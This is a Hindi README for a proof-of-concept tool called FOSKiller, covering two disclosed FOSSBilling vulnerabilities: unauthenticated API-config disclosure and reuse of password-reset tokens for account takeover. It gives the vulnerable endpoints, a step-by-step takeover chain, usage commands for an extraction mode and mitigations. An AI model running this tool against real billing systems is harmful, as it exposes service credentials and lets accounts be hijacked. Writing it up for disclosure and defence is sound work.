
FOSSBilling CVE-2026-53647 और CVE-2026-53646 PoC — अप्रमाणित API कुंजी का खुलासा और पासवर्ड रीसेट टोकन का पुन: उपयोग
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
द्वारा निर्मित 7megaumka7
FOSSBilling ≤ 0.7.2 में दो स्वीकृत GitHub सुरक्षा सलाहकार कमजोरियों के लिए PoC उपकरण
FOSKiller एक प्रूफ-ऑफ-कॉन्सेप्ट उपकरण है जो FOSSBilling — एक ओपन-सोर्स बिलिंग और क्लाइंट प्रबंधन प्लेटफ़ॉर्म — में दो सुरक्षा कमज़ोरियों को प्रदर्शित करता है। दोनों कमज़ोरियाँ GitHub सुरक्षा सलाहकार कार्यक्रम के माध्यम से जिम्मेदारी से खुलासा की गईं और FOSSBilling 0.7.3+ में पूरी तरह से पैच की गई हैं।
यह उपकरण इसके लिए अभिप्रेत है:
गेस्ट एंडपॉइंट /api/guest/serviceapikey/get_info बिना किसी प्रमाणीकरण की आवश्यकता के पूर्ण सेवा कॉन्फ़िगरेशन लौटाता है — जिसमें custom_* फ़ील्ड, API क्रेडेंशियल, होस्टनाम और पासवर्ड शामिल हैं। एक हमलावर जो एक मान्य API कुंजी जानता है या गणना करता है, वह एक सार्वजनिक एंडपॉइंट से पूर्ण बैकएंड सेवा कॉन्फ़िगरेशन प्राप्त कर सकता है।
प्रभाव: सेवा क्रेडेंशियल, आंतरिक होस्टनाम, API रहस्यों का खुलासा।
जब कोई क्लाइंट एक ही खाते के लिए लगातार दो पासवर्ड रीसेट ट्रिगर करता है, तो एप्लिकेशन एक नया टोकन जारी करता है लेकिन पिछले टोकन को अमान्य नहीं करता। एक हमलावर जिसने पहले पहले टोकन को कैप्चर किया था, वह इसका उपयोग नया पासवर्ड सेट करने के लिए कर सकता है, भले ही वैध उपयोगकर्ता अपना स्वयं का रीसेट फ़्लो पूरा कर ले।
हमला श्रृंखला:
1. हमलावर POST /api/guest/client/reset_password ट्रिगर करता है → टोकन T1 कैप्चर करता है
2. पीड़ित अपना रीसेट ट्रिगर करता है → ऐप T2 जारी करता है, T1 मान्य रहता है
3. हमलावर चुने गए पासवर्ड के साथ POST /api/guest/client/update_password?hash=T1 को कॉल करता है
4. पीड़ित के रीसेट पूरा होने के बावजूद हमलावर के पास स्थायी पहुंच होती है
प्रभाव: किसी भी क्लाइंट का स्थायी खाता अधिग्रहण जिसका रीसेट ईमेल इंटरसेप्ट किया जा सकता है।
यदि निर्भरताएँ गायब हैं, तो स्क्रिप्ट स्टार्टअप पर इसका पता लगाती है और उन्हें स्वचालित रूप से स्थापित करने का विकल्प प्रस्तुत करती है।
क्लोन करें और निर्भरताएँ स्थापित करें:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
या पूर्व-स्थापना के बिना चलाएँ — स्क्रिप्ट पहली बार चलने पर गायब पैकेज स्थापित करने के लिए संकेत देगी।
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only और --exploit परस्पर अनन्य हैं।
केवल पता लगाना — डेटा निकाले बिना दोनों CVE सत्यापित करें:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
पूर्ण निष्कर्षण और हमला श्रृंखला दस्तावेज़ीकरण:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
परिणाम JSON में सहेजें और Burp Suite के माध्यम से रूट करें:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
एक अज्ञात या पहले से पैच किए गए संस्करण का परीक्षण करें:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]
── CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover ─────
[*] Sending reset request #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Sending reset request #2 (same email) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Time delta between requests : 0.643s
[!] Both reset requests succeeded — endpoint accepts repeated resets without rate-limiting.
── Summary ─────────────────────────────────────────────────────────────
CVE GHSA Severity Status
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderate (CVSS 6.9) VULNERABLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p High (CVSS 7.7) POTENTIALLY_VULNERABLE
FOSSBilling >= 0.7.3 में अपग्रेड करें, जो दोनों कमज़ोरियों को संबोधित करता है।
यदि तत्काल पैचिंग संभव नहीं है:
| CVE | अंतरिम शमन |
|---|---|
| CVE-2026-53647 | वेब सर्वर या WAF स्तर पर /api/guest/serviceapikey/ तक पहुंच को अवरुद्ध करें |
| CVE-2026-53646 | पुन: जारी करने पर टोकन अमान्यकरण लागू करें; रीसेट एंडपॉइंट में दर-सीमा जोड़ें |
दोनों कमज़ोरियाँ इस प्रकाशन से पहले GitHub सुरक्षा सलाहकार कार्यक्रम के माध्यम से FOSSBilling अनुरक्षकों को सूचित की गई थीं।
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
इस उपकरण का उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपको स्पष्ट लिखित अनुमति प्राप्त है। तीसरे पक्ष की प्रणालियों के विरुद्ध अनधिकृत उपयोग कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट और दुनिया भर में समान कानून के तहत अवैध है।
लेखक इस उपकरण के उपयोग से उत्पन्न दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई जिम्मेदारी नहीं लेता है। इस उपकरण का उपयोग करके आप सहमत हैं कि आप अपने कार्यों के लिए पूरी तरह से जिम्मेदार हैं।
शोधकर्ता और लेखक: 7megaumka7
कमज़ोरी की खोज, विश्लेषण, जिम्मेदार खुलासा और उपकरण विकास।
| सलाहकार | CVE | प्रकार | CVSS | प्रभावित |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | बिना प्रमाणीकरण के API कुंजी कॉन्फ़िग खुलासा | 6.9 मध्यम | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | पासवर्ड रीसेट टोकन पुन: उपयोग → खाता अधिग्रहण | 7.7 उच्च | >= 0.5.6, <= 0.7.2 |
| फ़्लैग | आवश्यक | विवरण |
|---|
--target URL | हाँ | FOSSBilling इंस्टेंस का आधार URL |
--key KEY | CVE-2026-53647 के लिए | परीक्षण करने के लिए API कुंजी |
--email EMAIL | CVE-2026-53646 के लिए | परीक्षण करने के लिए क्लाइंट ईमेल |
--check-only | नहीं | पता लगाने का मोड — डेटा निकाले बिना कमज़ोरी की पुष्टि करें |
--exploit | नहीं | पूर्ण निष्कर्षण + हमला श्रृंखला दस्तावेज़ीकरण |
--force | नहीं | संस्करण सीमा जाँच छोड़ें |
--output FILE | नहीं | पूर्ण परिणाम JSON फ़ाइल में सहेजें |
--timeout SEC | नहीं | HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 10) |
--proxy URL | नहीं | HTTP प्रॉक्सी (जैसे http://127.0.0.1:8080) |
| मोड | फ़्लैग | यह क्या करता है |
|---|
| पता लगाना | --check-only | पुष्टि करता है कि कमज़ोरी मौजूद है। संवेदनशील मान प्रदर्शित या निकालता नहीं है। |
| डिफ़ॉल्ट | (कोई मोड फ़्लैग नहीं) | स्थिति की पुष्टि करता है और बुनियादी सबूत दिखाता है। |
| शोषण | --exploit | सभी लीक हुए फ़ील्ड निकालता है; समय मेटाडेटा के साथ पूर्ण खाता-अधिग्रहण श्रृंखला दस्तावेज़ करता है। |